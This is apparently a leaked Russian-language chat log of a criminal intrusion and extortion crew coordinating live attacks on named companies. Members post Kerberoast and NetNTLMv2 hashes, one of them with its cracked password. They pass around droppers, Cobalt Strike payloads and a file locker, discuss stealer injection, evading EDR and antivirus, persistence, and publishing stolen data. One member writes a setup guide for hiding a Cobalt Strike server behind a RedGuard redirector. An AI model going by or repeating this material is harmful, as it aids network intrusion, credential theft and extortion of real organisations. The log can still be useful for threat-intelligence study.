когда отладим или он мне скажет, что все окей

тебе скрипт тоже скину

я откуда знаю

и мануал и сможешь тоже подписывать файлы в 2 клика

что мне нужно делать?

давай

до завтра

добрых снов

дак у тебя тоже же проблема с синглом ты писал

причем тут я?

ласт спать ушел

ты читаешь что я пишу?

или так

между строк

давай еще раз повторю

у меня висит коннект до сингла

висит!

понимаешь?

ушел

зеленым горит

ну

инет появляется на минут 10-15

потом пропадает

что это может означать интересно?

я выдвинул свои предположения

что чел анскильный

и не компетентный

делает openvpn не меняя порт это раз

второе он в прошлый раз выдал нам даблы с входом NL и выходом NL это вобще клиника

он подрывает нашу безопасность в целом

если бы тогда не заметил что вход NL и выход NL или DE там было

когда его просили делать RU вход

ладно

ну сингл хуевый тот что выдали щас

я на US щас подключился тот что ты дал

посмотрю как будет думаю будет норм

тут хотя бы порт 443

ну это US же

> <@usernamegg:matrix.bestflowers247.online> ты говоришь нет конектит у тебя

а US что ты дал недавно он работает пока что

Окей

все понял окей

понял окей

да я дабл и сингл сам могу сделать только это время

а самая проблема в сервер и впс надежном

я же не биллинг

возьму впс и сервер хуй пойми где а там все потом сдадут в случае чего с потрохами

впски лучше не брать на вднсине ты же сам говорил что там все черное

есть сервис пиздатый selectel

если для белого впн

и там поднимать

Ок споки

мы FLYT щас пасс скорее всего будем менять

ну я вобще сказал что будем сначала мимики снимать с серверов

менять пасс и надеятся что прокнет такое себе

может получится как с ABB

ну ABB хотя бы оправдала ожидания

> <@usernamenn:matrix.bestflowers247.online> `$krb5tgs$23$*p10cdwwindmon$FLYT.SCHWANSHS.NET$flyt.schwanshs.net/p10cdwwindmon*$66d5c15a3e0a83adf9bd5b31a3fde190$674ab72ecd465fb03194e8bdcf93599ba5d59a2932aef4938d104afb5b87236c441007c343aede060d6896bdfb0a4142882fdbd2b3200f6330c9dd3ddd3e386d3ad22aa1c06ddad0114e001ea43b43c4a1efbed15084f45772578ddf274f68477b2cc4197b19e7133bd1657f303c39d3144532985cb8508552ce46fcc7907f9f3366d31663a9c6718410f22906d1a86c08176758bdee0a404ddc60c3394dbf4db74b44a73d740beb56ef0fbed7505d2dff9f4dc51ee12351015c04b88f6db233b321f647c312ac44f226be8d0fbd0b75d4a71c1e8b31ed0b9a1b904259883b0cecd4a6392ccad6858a868ebb79ad8eb6507ce2566b7080d96a644206fb17719dd47182456f2f66cb7b9cbfb71651f9593970eb12d4ebb6a5eb60af4e20793a1c0fd4aecbd82eab68c44b1021ae22ff8931cce1b5b110d1077b0ce6d3f277980c87e4556fd65bffe04ed7cbf8731d74de2ab6b4a3655fb3080626deb3f185c68312e90c215e7999c2de041ff13af20f13304c0d2d55987697396000d59a5d396978e0106484591d71fdd3ecfa68e4290399f60cc6ea92751e0266b2369505df76638fff60dde1ca149d56c32bea5074b95e510d60247ca21c5944ccc297db7517ca83fca8251e894cd968bd6fd6358aecc1b34935e250759fe6d74a8dda2b3510e3641f29d6900fd1d2e54ed2e98cdbe7231f7da37a0b0dae0435ea1ab6882a69f02478cd0e478ca954dac1e13481a44fa884ba10aa99cd35ea0b06be8e0a60e4225c0b408ab0805732bcbd7debd2d57f845a8dccf8de7adba3aaf6d6db23c0abb5ff1b2310b17dcaa32bf99aa1d82a268718131b62a82ba5c18cc30efd60f749da9b2dd8c2128e84238feb2b7a0f3fa1e39eb7a3d24327f2a183863c8b6e12226cc0feb3f5763629fc8d5dd41acf179549bd1097f1f7729d814f0ef898489f1f6e69f0342bab18df2e1988655b94474ff254894b1a63752563ff906535d218832a17fddb2faabee4f27d9f1b1f47d96e8f874a2ac6a0f6f95e7ba4241a0612769eaa895c63628098c7993924cc3c14e65206e5a2b2d699fd451635f4d65be1818c36d66abba1d0f86e058fabab2e5f77bed5552db57dac81ff7fae0b9ea0433576399026753811f31473809454152edd5539175c02f944588398095887f952e3c1d62c65def917e66aa9c4c7bc7a5e1e8309273ae112f5b101cdbc046eb7135ed4b7caf7562e1964883c2c3c325e412ea5b3c2e60f30b7e83534f11d424d9337e3b97abc6f72474e5c94080ea36de1745b1218c65351cdb5d8868ce4f42ba45eb1b64f131c1d3af66539631f04dca1c27b538cdf7a7fef9f1ce98d7f8b529e113515f942d1f39967403f8e1772bcd9b37ceb03791eac49bc809b8da8cd2c3629d06f4cbc8c01dd2a1e17271006941d29a7656da023590956b9d7f32bc91035c39c000279a61322abcc394c8bf267d73e860944a110d88a03aceef9a017e218d5b5f7c56fa2cc33d07a6cb0b6a178df6895be2f1a36dd956612f1d3a09b49251889665944e106784889a3806ef4f8ca3d754c4e33089794f0cc25dede0aa500c33050e7088f1e8d30e2018914f90432635ce9a5045fb9e139302d38906ba01903afe13ab48264e03305e9d8ca8c27af763db750937235ef62f149869fd4790080667fe41333cdcbee4a0a2f3088e5316b1681d393df3bbc4cbb468c07649d7ae04e0e501431073f1756fece6b8724c1d31896c166e4ddd2d8a04b5c5675f2df332b4a29d323cd37cd059cf39dcdc750c5f3ad0fd5574fc9452c08d0503f93a685bf66b5fd72c96fb06568960252a24ec951b63ca9a5ad161aee05b403d05a23179073417ecafdaa1a0254a9c564119264cdd7b0b051ab5694de934a5252512b05c0358f14b03c1427d415306bec6c325c3c35f2a5a189a382b14ed77081de5ec61ad544e93d640728591eba886f8b450bf76aa241`

> <@usernamegg:matrix.bestflowers247.online> что ты делал то с ней ?

> <@usernamegg:matrix.bestflowers247.online> там у тебя чел админит почти 36 тачек

потом снимал глубокие со всех этих тачек, дернул оттуда несколько хешей локальных, засканил на админа по серверам через мету, ничего не насканило

был один хеш дсс2 по которому можно было двинуться, отдал его на расшифровку

в целом все вроде

TANFD::TANTALUSLODGE:1122334455667788:5352054f3f9aab2742f7e65d45ce0f5d:0101000000000000753145cea62fda013f1e6332f54d0e97000000000800300030000000000000000000000000200000a4de0a359a22823c49714379b0d2dd5a8e4430cd57e4bd95ef83d4fba17897430a00100000000000000000000000000000000000090000000000000000000000:DHRpass16

обновил сертификаты элемента

11:50 -> 466Gb /home/ftp_white/AGCNA

Привет

Я тут

Фух, выспался жесть)

скоро скину билд

минут 30-40

```

```

corp_access

https://i1ovfbpnlgg0hjks.tech/9568c16f-b420-43dc-8a59-f3500b0628fe/bots

CROP_ACCESS

вот да

во тпо этой ссылке перейди

и там все боты будут

и потом CORP_ACCESS

грузитсья долго

я потом сделаю галочки

чтобы можно было проще делать это

Привет

Да

нормас

но хотелось бы не US

)

нет не решил все щас гуд

есть нормальный exe что бы двигаться

в FLYT

уже начали

ну два трасте поставить быстро можно

если все доступы есть

DASTEAM - блог по ним надо создать чтобы я оформил их

PASS: e288bc2814aee2cba7071eab4df56038

dropper_USER0_TRAFF_1_EXE_f0adda360d2b4ccda11468e026526576_CW0F8T1G.zip

вот можешь отдавать user0

тут 15IP на старте на билде

в системе всего 23

сервак для подписи тоже скорро сделаю

скину бурито все что надо

ага

паолучилось глянуть CORP_ACCESS?

+++

```

jrtq

okey

ага, отлично

++

> <@usernamegg:matrix.bestflowers247.online> можешь пожалуйста заказать VPS для подписи файлов

спасибо

окей

у тебя винда же есть?

и серт

++++

окей

да, уже буду делать

да, вот за это и переживаю.

но я сделаю, чтобы на корпах не автоматом

потому что их терять прям нельзя

но вообще я ни разу за все время не встречал, чтобы мой инжект стилака бота убил

пока ни разу такого не было

в корпы сами будем инжектить мануально

дак там дело не в крипте даже, а в том что тачки то админят юзеры только юзерские тачки, и сессий админов на них не было\

крипт работал буквально позавчера еще, может это не в свежести крипта дело, а в дефе, ав

> <@usernamegg:matrix.bestflowers247.online> это твоя зада с утра приготовиться и ждать что у тебя были криптованные файлы для движения

> <@usernamegg:matrix.bestflowers247.online> ты не захотел ее сделать это мое понимание ситуации

да, конечно

через 5 -10 стуков прогруз стилака

и авто синхронизация

щас напишу описание, как пользоваться этой штукой чтобы подписывать

password.xls

password.xlsx

kohlwholesale.com - подсветить пора их

privet

privet vsem

kak dela ?

cinfab.com in work

po botu u tebya kakoy otstuk na spame?

spalilsya ili norm vse ?

> <@usernameww:matrix.bestflowers247.online> sent a file.

> <@usernameww:matrix.bestflowers247.online> sent a file.

++

`$krb5tgs$23$**$66d5c15a3e0a83adf9bd5b31a3fde190$674ab72ecd465fb03194e8bdcf93599ba5d59a2932aef4938d104afb5b87236c441007c343aede060d6896bdfb0a4142882fdbd2b3200f6330c9dd3ddd3e386d3ad22aa1c06ddad0114e001ea43b43c4a1efbed15084f45772578ddf274f68477b2cc4197b19e7133bd1657f303c39d3144532985cb8508552ce46fcc7907f9f3366d31663a9c6718410f22906d1a86c08176758bdee0a404ddc60c3394dbf4db74b44a73d740beb56ef0fbed7505d2dff9f4dc51ee12351015c04b88f6db233b321f647c312ac44f226be8d0fbd0b75d4a71c1e8b31ed0b9a1b904259883b0cecd4a6392ccad6858a868ebb79ad8eb6507ce2566b7080d96a644206fb17719dd47182456f2f66cb7b9cbfb71651f9593970eb12d4ebb6a5eb60af4e20793a1c0fd4aecbd82eab68c44b1021ae22ff8931cce1b5b110d1077b0ce6d3f277980c87e4556fd65bffe04ed7cbf8731d74de2ab6b4a3655fb3080626deb3f185c68312e90c215e7999c2de041ff13af20f13304c0d2d55987697396000d59a5d396978e0106484591d71fdd3ecfa68e4290399f60cc6ea92751e0266b2369505df76638fff60dde1ca149d56c32bea5074b95e510d60247ca21c5944ccc297db7517ca83fca8251e894cd968bd6fd6358aecc1b34935e250759fe6d74a8dda2b3510e3641f29d6900fd1d2e54ed2e98cdbe7231f7da37a0b0dae0435ea1ab6882a69f02478cd0e478ca954dac1e13481a44fa884ba10aa99cd35ea0b06be8e0a60e4225c0b408ab0805732bcbd7debd2d57f845a8dccf8de7adba3aaf6d6db23c0abb5ff1b2310b17dcaa32bf99aa1d82a268718131b62a82ba5c18cc30efd60f749da9b2dd8c2128e84238feb2b7a0f3fa1e39eb7a3d24327f2a183863c8b6e12226cc0feb3f5763629fc8d5dd41acf179549bd1097f1f7729d814f0ef898489f1f6e69f0342bab18df2e1988655b94474ff254894b1a63752563ff906535d218832a17fddb2faabee4f27d9f1b1f47d96e8f874a2ac6a0f6f95e7ba4241a0612769eaa895c63628098c7993924cc3c14e65206e5a2b2d699fd451635f4d65be1818c36d66abba1d0f86e058fabab2e5f77bed5552db57dac81ff7fae0b9ea0433576399026753811f31473809454152edd5539175c02f944588398095887f952e3c1d62c65def917e66aa9c4c7bc7a5e1e8309273ae112f5b101cdbc046eb7135ed4b7caf7562e1964883c2c3c325e412ea5b3c2e60f30b7e83534f11d424d9337e3b97abc6f72474e5c94080ea36de1745b1218c65351cdb5d8868ce4f42ba45eb1b64f131c1d3af66539631f04dca1c27b538cdf7a7fef9f1ce98d7f8b529e113515f942d1f39967403f8e1772bcd9b37ceb03791eac49bc809b8da8cd2c3629d06f4cbc8c01dd2a1e17271006941d29a7656da023590956b9d7f32bc91035c39c000279a61322abcc394c8bf267d73e860944a110d88a03aceef9a017e218d5b5f7c56fa2cc33d07a6cb0b6a178df6895be2f1a36dd956612f1d3a09b49251889665944e106784889a3806ef4f8ca3d754c4e33089794f0cc25dede0aa500c33050e7088f1e8d30e2018914f90432635ce9a5045fb9e139302d38906ba01903afe13ab48264e03305e9d8ca8c27af763db750937235ef62f149869fd4790080667fe41333cdcbee4a0a2f3088e5316b1681d393df3bbc4cbb468c07649d7ae04e0e501431073f1756fece6b8724c1d31896c166e4ddd2d8a04b5c5675f2df332b4a29d323cd37cd059cf39dcdc750c5f3ad0fd5574fc9452c08d0503f93a685bf66b5fd72c96fb06568960252a24ec951b63ca9a5ad161aee05b403d05a23179073417ecafdaa1a0254a9c564119264cdd7b0b051ab5694de934a5252512b05c0358f14b03c1427d415306bec6c325c3c35f2a5a189a382b14ed77081de5ec61ad544e93d640728591eba886f8b450bf76aa241`

```

https://www.zoominfo.com/c/lockard--wechsler/34227945

est' takoe no u menya bot s nego ne stuchit

sha sotkroyu citrix

++

13.52.211.166

* shas otkroyu citrix

yasno

WindowsSignTool.7z

PASS: tox123

ti potom proveryaesh fayli ? posle rebuilda

* ti potom proveryaesh fayli ? posle rebuilda?

скинул бурито тоже

прочитай readme.txt

там все расписано

мне через 1 час 20 минут надо будет отойти на полтора часа где то

отпишешь как протестишь

до 100 файлов за 1 раз можно подписывать

dobavish moi novie targeti v chat?

> <@usernamegg:matrix.bestflowers247.online> там дефа не будет мы его выключим или удалим

> <@usernamegg:matrix.bestflowers247.online> как будешь отпиши синтенейл ON надо обойти

https://i1ovfbpnlgg0hjks.tech/9568c16f-b420-43dc-8a59-f3500b0628fe/bot/25720

тоже VPNS

это юзал кто то?

я думал это кто то юзает, посоветовал

видимо что то добавляет

там сказано что нужно конфиг поправить arsenal_kit.config

а потом запустить build_arsenal_kit.sh

только что нам это даст

от этого коба чище не станет, будет палится точно так же

> <@usernamegg:matrix.bestflowers247.online> тебе там сервер приготовили мы

> <@usernamegg:matrix.bestflowers247.online> сейчас я кое что в кобу вношу новшиства

poka chto ne dobavilos nechego

shas perezaydu

netu nechego novogo

u menya

tolko drugim ne dobav moi targeti)

Screenshot 2023-12-16 054330.png

voit chto bilo tak i ostalos

NY pharma

* NY pharma

kivibros.com < netu ego

est' vse

ytn

my_demo.conf

Братец, я ушел, буду через 2-3 часа

бурито все скинул

я там все проетстил, все должно работать как надо по подписи

билд выдал

приду, оптишу

портовой или днс?

с чем сравнивать

> <@usernameww:matrix.bestflowers247.online> 4file_locker.zip

cr.zip

++

я вобще ниче не понял))

что сравнивать - зачем

пусть инструкцию даст человек и объяснение какое то внятное

```

да

budu cherez 2 chasa

да

она надеюсь не днс

видел да

ща найду

сам

ок

блин прокладку наверное придется убрать

пароль не записывают те кто устанвливают

кто ставил 36 кобу, пароль записали?

который в панеле указываете

ты что там делаешь?

меняю конфиг

мне сказали сделать ее)

это не моя идея

🤔

> <@usernameyy:matrix.bestflowers247.online> кто ставил 36 кобу, пароль записали?

в листе все есть

скинуть сюда?

не вижу там пароля

в процессе

5 мин

запустил

листенер нужно будет переделывать

щас я протестирую листенер новый

я не нужен? отвалю немного

по подписи вопросы там есть, отписал w

готово

test1 листенер

да всё решили уже, сейчас попробую переставить

как закочишь

там 1 тачка только, позовем в другую

* как закончишь

там япошки еще с фаером которую не выпилили

и тачка с которой выкачка шла, но это пофиг

ок, это на наше благо все равно

там в 36 реверсер пришел

yy: того что ты спрашиваешь нет

первый комп мой, второй хз что

pclite это реверсер:

?

lf

* да

да

птице

офигеть, а откуда он знает айпи))

и новый профиль

так по старому крипту пришел

сегодня туда много кто приходил на огонек

> <@usernameyy:matrix.bestflowers247.online> офигеть, а откуда он знает айпи))

> <@usernamess:matrix.bestflowers247.online> так по старому крипту пришел

голый основной айпи

а ну тогда всё норм

а

а то тут стучит реверсер

без конца

спалило после лса?

чек ваши сетки

NN: $$

а что все вернули то?

нашел пароль в списке процессов

там консольную строку пишет в списке запусков

профиль я не менял, так что тесты всё еще в силе

ну они как бы почти одинаковые, так что ничего не изменится

> <@usernamegg:matrix.bestflowers247.online> sent a file.

что скажешь?

а какой таргет в кобе?

нет еще

сейчас подолью

\+

scanner это же не ты?

а это сс

> <@usernamegg:matrix.bestflowers247.online> с сентенейлом все работает

капец ты рад)

да я заметил, на меня попало

> <@usernamegg:matrix.bestflowers247.online> или еще проще, можешь просто заменить все post-ex, stage, process-inject на мои?

или что то еще меняли?

пока нет

в процессе

```

GG: Пусть подробный ман напишет что за чем и почему.

whitlam.com - их походу не подсвечивали даже. уже публиковать можно по времени. хотябы подсветить их надо я думаю

дата по ним уже заливается

но они вроде как не опубликованы

нет не вижу их через поиск

ХХ по всем его сеткам с первой страницы сделал логотипы отправил ему. только поменять ему осталось. но его нет походу. придумал формат и делает по другому кпц он фуфломицин

e86fefcb4f88b7b04fc9ccb1c6f99475

Я тут если что

обновил

я свободен пока?

да

надо с кем то кобу установить чтобы проверить

я ноут с собой беру сейчас если что

еще можно запустить где то 180 потоков

ой не тебе

`4bc404c3d493460b938e81c1ce57acd4`

---

у меня есть по 37 и 38 кобу ща я их сделаю

здарова

теперь ток тут общаемся?

```

окей

окей

да, хорошо

именно кобальт настроить?

или с сервером тоже помочь надо будет?

да, окей

всех привествую

> <@cob_crypt_ward:matrix.bestflowers247.online> всех привествую

Привет!

привет

он регулярно будет обновлять их?

runtime.zip

это арсенал с еще одним плагином, то что необходимо для чистого рантайма

сейчас еще скину хороших плагинов

good.zip

это плагины, которые я обычно использую

профиль тоже скидываю, или ты свой скинешь?

эту комнату для лс будем использовать, ок?

сейчас мануал напишу, что, как, куда

38payload_x64.bin

chekni pls, ya nastroil

budu zhdat' stuk v kobe i srazu viday crypt pod nee. Thx

* budu zhdat' stuk v cobe i srazu viday crypt pod nee. Thx

> <@usernameww:matrix.bestflowers247.online> budu zhdat' stuk v cobe i srazu viday crypt pod nee. Thx

> <@usernameww:matrix.bestflowers247.online> budu zhdat' stuk v cobe i srazu viday crypt pod nee. Thx

dopisivay, mi zhdem vse ok

seychas glavnoe proverit' rabotaet .bin

нет, что-то не так, вылетает

может сессия и пришла, но вылет происходит

щас пофиксят

было такое с GG

кстати то что я кидал выше, только под версию 4.8, если нужна версия выше, я скину

У нас как раз 4.8

38_x64.bin

peredelal prover

та же история

> <@cob_crypt_ward:matrix.bestflowers247.online> может сессия и пришла, но вылет происходит

> <@cob_crypt_ward:matrix.bestflowers247.online> может сессия и пришла, но вылет происходит

ничего что я гайд в отдельной руме пишу?

я тебя туда добавлю, посмотришь за процессом, как его закончу, других туда добавим, ок?

а, окей

Modify you arsenal_kit.config

Да, надо, если компилируешь. А если юзать который я сбилдил, то нет

Да, без проблем, ток думаю там через админа придется

Помню про твою просьбу

TEST_x64.bin

Чекни плиз

Тоже не пашет

```

чекни профиль, может не изменили

Да, не изменили

щас переделают

demo

Если используете свой конфиг, перенесите из моего к себе секции: post-ex, process-inject, stage

Как раз в гайде только что дописал

это откуда ты скинул

да блять не могу ответить почему то ему, элемент лагает

он хрен пойми что скинул, я другой профиль дал

спросил

MM:

yy: Го в ПМ

перепроверьте

написал, могу кинуть в чат?

там сообщений прилично вышло, чуть переписку подвинет

1_x64.bin

Да, все отлично, работает

Могу сюда прислать мануал?

👌

да

cob_crypt_ward Ты сам стопнул бикон?)

> <@cob_crypt_ward:matrix.bestflowers247.online> Могу сюда прислать мануал?

> <@usernamemm:matrix.bestflowers247.online> cob_crypt_ward Ты сам стопнул бикон?)

а можно выделить тут несколько сообщений сразу? первый раз элементом пользуюсь

> <@cob_crypt_ward:matrix.bestflowers247.online> а можно выделить тут несколько сообщений сразу? первый раз элементом пользуюсь

apt update -y & apt upgrade -y & apt install git

demo_red

скинь скриптом лучше)

а как?)

я в отдельном чате написал

лан пон

После установки конфига, снова запускаем RedGuard, стопим после успешного запуска. Потом открываем его директорию (По гайду - /home/base/RedGuard), заходим в папку cert-rsa, видим ca.crt, ca.key. Заменяем их на свой сертификат, пока что завершаем его настройку.

Дальше нужно установить кобальт, думаю тут все просто и понятно, только очень советую заменить серт для teamserver на рандомный (В файле teamserver перед первым запуском изменяем строки):

keytool -keystore ./cobaltstrike.store -storepass random_1 -keypass random_1 -genkey -keyalg RSA -alias random_2 -dname "CN=random_3, OU=random_3, O=random_3, L=random_3, S=random_3, C=random_3

Где random_* - заменяем случайными строками, в соотвествии с номером

demo

Те же операции делаем в моем конфиге, только тут прибавляется "Browser UA", советую просто стащить UA с любого свежего браузера

Если используете свой конфиг, перенесите из моего к себе секции: post-ex, process-inject, stage

cs.png

Далее заходим в сам кобальт, настраиваем слушатель как на скрине:

После того, как слушатель стартанул, запускаем RedGuard, если все бразуер открывает ваш https порт, значит все окей (Обязательно в браузере посмотрите сертификат, должен стоять ваш, иначе вы не заменили ca.crt и ca.key)

Для автозагрузки:

nano /etc/systemd/system/teamserver.service

Пишем туда содержимое файла ниже

teamserver.service

С redguard делаем то же самое, только меняем пути как в конфиге, так и в пути до самого сервиса (/etc/systemd/system/redguard.service)

После пишем: systemctl daemon-reload & systemctl enable teamserver & systemctl enable redguard (Все делаем от рута!)

Потом стартуем каждый сервис командой: service NAME start, затем проверяем его статус командой: service NAME status, если все ок - едем дальше

По этой инструкции настраиваем фаерволл (Очень сильно рекомендую, для закрытия портов слушателей CS): https://adamtheautomator.com/iptables-rules/

После настройки открываем нужные порты (По этой инструкции - 443. порт сервера (В файле teamserver указываете сами), не нужно открывать порты для бинда (8543, 8580, 8581)!)

Инструкция по установке go:

wget https://go.dev/dl/go1.21.5.linux-amd64.tar.gz

rm -rf /usr/local/go && tar -C /usr/local -xzf go1.21.5.linux-amd64.tar.gz

export PATH=$PATH:/usr/local/go/bin

rm go1.21.5.linux-amd64.tar.gz

Про установку java забыл написать, стоит дополнять?

* Далее заходим в сам кобальт, настраиваем слушатель как на скрине (Заменяя то что нужно заменить):

думаю стоит написать все, что бы потом не было вопросов)

* Для первого запуска кобальта, в его директории: apt install openjdk-17-jdk & chmod +x teamserver TeamServerImage & ./teamserver

Вот этот чел реально походу пиздатый, шарит за хайды с2

я как то скидывал эту штуку в том году только нихуя не понятно как настраивать

> <@cameron777:matrix.org> https://www.zoominfo.com/c/lockard--wechsler/34227945

еще в этом году вроде скидывал за bounceback

demo

у него спросить надо за bounceback

Мой готовый профиль для кобальта

аа нихуя

бля ну в чистку кобы я не верю пиздец, а вот в такие приколы с хайдами через редиректоры вполне

Забыл сказать, очень важно при создании пейлоада с рабочим RedGuard выбирать библиотеку для запросов wininet.dll, а не winhttp.dll, иначе ничего не заработает

я тоже, вот редиректоры тема

если щас нам трогать кобы, начнем крутить хуйня какая нибудь будет

не на руку

хорошо что вспомнил, иначе бы возня была

не так давно выходил https://github.com/D00Movenok/BounceBack, по нему есть какая то информация?

195.201.205.126

Нет, первый раз слышу, могу сесть почитать если интересно

могу если что вам кобу сетапить если что, без проблем вообще

* могу вам кобу сетапить если что, без проблем вообще

думаю вам легче будет

> <@usernamegg:matrix.bestflowers247.online> пиши, помгай комуницируй, все эти ребята теперь твоя команда

можно личный вопрос?

прочитай пожалуйста и сделай выводы и дай обратную связь в плане разницы между Red Guard

в команде все относительно молодые?

интересно очень

возраст

понял

X 2023-12-16 в 21.20.07.jpg

вот писал

мне если что 17, вдруг кого-то обгоню

да и так, если интересно

да я не соревнуюсь, просто спросил

да, учебу еще закрыть и вообще классно

да, понимаю, естественно

> <@usernamegg:matrix.bestflowers247.online> как у тебя по графику вообще ?

> <@usernamegg:matrix.bestflowers247.online> учеба ни как не должна страдать только

без проблем :)

RedGuard под DNS листенеры настройка чем то отличается?

если ты про саму кобу, то возможно

я ни раз слышал о том что детект

был такой человек - yellow, говорил об этом тоже

а что вы до кобы использовали?

пришлось на нее переехать?

нет, но RedGuard редиректор ток под http\https

brc4 классный очень

ни разу не пробовал, но хотел

много о нем слышал

счас еще havoc активно растет, но я не думаю что автор переплюнет то, что годами делали

к тому же на предпоследнем апдейте его сентиль снимал в рантайме

а что такое Jamp?

а, а не подойдут там какие-то wmi exec, smb exec?

просто через сокс

> <@usernamegg:matrix.bestflowers247.online> приходиться криптовать файлы и удаленно подливать и запускать

но там наверное .cna нужно писать

чтоб он не голый exe делал, а какой-то использовал

или как-то еще

Ок ща

какие еще приколы с кобой можешь делать?

чистку артефакт китов умеешь?

могу попробовать, ни разу не делал

powershell умеешь чистить?

да, это умею

еще .py

и могу ярлыки делать, но на EDR'ах детект будет

Ок

по персисту что умеешь?

в артефакт ките можно почистить powershell составляющую, что бы можно было джампаться через jump psexec_psh

на среднем уровне знаю AD (Azure и другие ее состовляющие не знаю), знаю про crackmapexec, impacket, certify и тд. немного про повышение привлегий

понял, без проблем

я как раз написал что азур не знаю))

ты видимо не так прочитал

> <@usernamenn:matrix.bestflowers247.online> в артефакт ките можно почистить powershell составляющую, что бы можно было джампаться через jump psexec_psh

я посмотрю, ничего обещать не буду

потому что дела с таким до этого не имел

можно попробовать джампер переписать на дроппер

чтоб он дллку брал, которая на диске у тебя лежит

и ее перекидывал и запускал

нужна динамика

если говорить о чистке powershell пейлоадов, умеешь чистить динамику?

если сейчас дам ps1 который выплевывает коба, это можно почистить?

умею, но если в скрипте фигурируют какие-то вызовы из dllок, я их не смогу в динамике убрать

давай попробую

давай закину ps1 кобовский сюда, посмотришь что можно сделать

темы с xss.is убираю?

я вас устраиваю?

36_x86.ps1

> <@cob_crypt_ward:matrix.bestflowers247.online> я вас устраиваю?

там сама нагрузка лежит в base64

ну ты разберешься

а до скольки мне нужно быть онлайн?

еще один вопрос

> <@cameron777:matrix.org> chto to vishlo ?

a domen bil dostupen ?

s https

https://www.zoominfo.com/c/adullam-homes-housing-association-ltd/541309

> <@cameron777:matrix.org> https://www.zoominfo.com/c/adullam-homes-housing-association-ltd/541309

**!!!** Те кто поставил себе новый артифакт кит не смогу работать на старых кобых по там не исправят конфиг **!!!**

* **!!!** Те кто поставил себе новый артифакт кит не смогу работать на старых кобых поrf там не исправят конфиг **!!!**

* **!!!** Те кто поставил себе новый артифакт кит не смогу работать на старых кобых пока там не исправят конфиг **!!!**

> <@cameron777:matrix.org> a domen bil dostupen ?

С 4-х до 00

Телефон дать не смогу, ваще никак

не, я понял)

просто нету там ничего

ток личная жизнь

а в выходные можно не работать иногда?

не в каждые, но в некоторые

> <@usernamenn:matrix.bestflowers247.online> sent a file.

Братец, нужен буду сегодня?

понял

Окей

я по пш знаю если что только чистку, не кодер

по поводу персиста на тачках что умеешь?

начал C учить, питон на средне знаю

> <@usernamejj:matrix.bestflowers247.online> там если вручную прописать внешние dns, то возможно заработает, но прав не хватало

ага, принял

> <@cameron777:matrix.org> Sophos tam

да, хочу отдохнуть

а то голова пухнет

обычно планировщик задач использую, но могу dll slideload, тд

завтра дел дохера

и по панели в пике надо сделать и по днс

и вайты залить

чтобы траф в понедельник запустить

еще watchguard на сети

реестр тоже могу, но стандарт ключи по типу Run\RunOnce, их обычно для пользовательских привелегий и использую

а то я запустил рекламу тестовую на оыбчные сайты

проверяю

* планировщик задач использую, но могу dll slideload, тд

да, окей

спасибо, завтра с утра буду

до завтра

da eto vizhu sertifikate pochemu to pishet kak watchguard i ne puskaet

тебе тоже хорошего вечера

doverenni IP nado vidimo

понял, ничего уникального нет?

нету, к сожалению

> <@usernamejj:matrix.bestflowers247.online> еще watchguard на сети

> <@cameron777:matrix.org> kerberosi kak to pomogut?

* `$krb5tgs$23$*lwsystem$lwdirect.com$MSSQLSvc/VMPROD01-SUB01.lwdirect.com:1433*$221EE472980D5246D98B3D6A31417426$F62F36EF3C4A87E31C1EA2C3A8BBDF79952670CFAE8FBD04DF36D3E0F24FF4240DF8E141AED2D65ECD06F1C47527591DB3E869DD2CB664A80F0AF087BDA0092C08D316E23615CDDC0278588D1C9090B4F85872A0EC131D3BABDCB309AACD4F1B90FC11BC31A0BF5067DA8F0599053728AB3611B6E6868C61BB61F2717F695A3A45E9B2422EDC4BA114A5CCB3CE56AA9377B4FE664185C33CB579DC81D38B3B8B6B406039FB16F87F5D2C3FF005DA880C12A9CD877E5207E35F3549A80AC2D2B262E4F90F971E0ABFD7BECA801496421BB9EA1EDB5927541FD2E9087509DB9653CF5ADEF96FE805A756BAA26E1B842D83B9DC2DBE0A13F84EBA0228E960E446B4B67200D0D0BF36531BD1D438478D0062A47A4C1E0E4CC703387C7870B643EFA867F63B15F15301877189020F74E21148FFBA753A7EFD71DD3166EFEABFD16218361BB5445D974D185FDD01CF4DBFA70334656F83F66C13E91B3A381DB24C7D2477EBA3F7A65B1020F25A4D17EB01672C7E718555D04CA9DDDABCEDAC91CA9969967CED103E9CD9927F884D402667E7766340D53B84FD8F82187BB29BE38D5BFE0E2C815C1491545A97DDF6D909404EBA47FE2DA4F9E3282F26A8054E4D31CB46C839D1CCCD25A194A9B9BE04099AEBAD93389679A75216F187D0B2EFD4EFD56922A67E6F5259C2AA11C68E8DCEAFBE7E6F8388301DE1E2D29A77285AFD2F427E907042754E135F58B109E342886E2D4706D887F5D695A482880BC4B8758F894727C212E72D417A316D6385D6059C1B4266C60FF2394CE0899BAA4CDAF438E04925840B78A6189FE303AF44B2D85C8E581FC3BBBF818D96C487613FA052CA2521D9B8987BA47440EA461E24C2856A053A0C0DAD28D99944CA023A9AD81276083B02C0293C4C81B099375018D8FA831DD597CE2FD61A1F49319D9414CBC422BD2FB95D1BC142C4F68C29E2B5AC255BA111BFC5D355DBD18256A28B0033B8F384E8E9E5835478CAFB173C06BD7201EAC745EB515EF8C5A402798A048D2E21635C2238994DC954E3D0C1CC8B854285191C80083D467429A4CC16638CF40476C5760F348DD0175356FD1EDE67ED9410B643D705EC46288B13BBE15DF4A20D9B42F2996FE1A0C17C78CFB8E3AE840608663EA89A6FFC22457E1870C66CD415CD977EE53683EF2C444E6E7AF09B80D3D811CD4592BAC1236660025A4EB81CC237E20A9E381A55336A66901EFE04A046991E9694A5199982D296465A84D483C41BD613158C0B1321C2C5C9909BFAA8C902BBBC97F59E9C5EE1AC5AC56BD7FAD63948EFD43CF15486CA9177C20ED2E5EF7A7F900D8DD4ED200132CB789E06DC40A7497C38222C10F1D8B3519D3DD4397F6C25B394A81D9D43D6512BCCB8AC0A4DE9E6BF50140234552F7737AF10CCA9505BAF49DC09785BCC7DC3697769507B246FA4A8902E88AA1C1EEC42CD6EE9D997F3BA1098642D1DA88253B5018A177B063C66873F81D4BCD27C5A281298D62E3E4F5CAFA2DC2EADF468B6AB48DF9DEBD9B9BF7451301E8AC62AF103704E4BB1CB80C636F6A89829A054D33FCC78590BF0884C1C0341BBCFD62AEAED7070244E6A1354C26681ACA78A685BAB89A0FAC2C9B631554A706B2C98B0817742DCAE32E3CAEC2070C62FA5268428CD5A84F73B487A6F3ECEF65E7A34E9C7033F732268AC6118A319AB7E7527F08FFC87DF0F7051EACEEC932D57164913F75F02B64B34B88DD61B35B6BAAFA8075D11C257E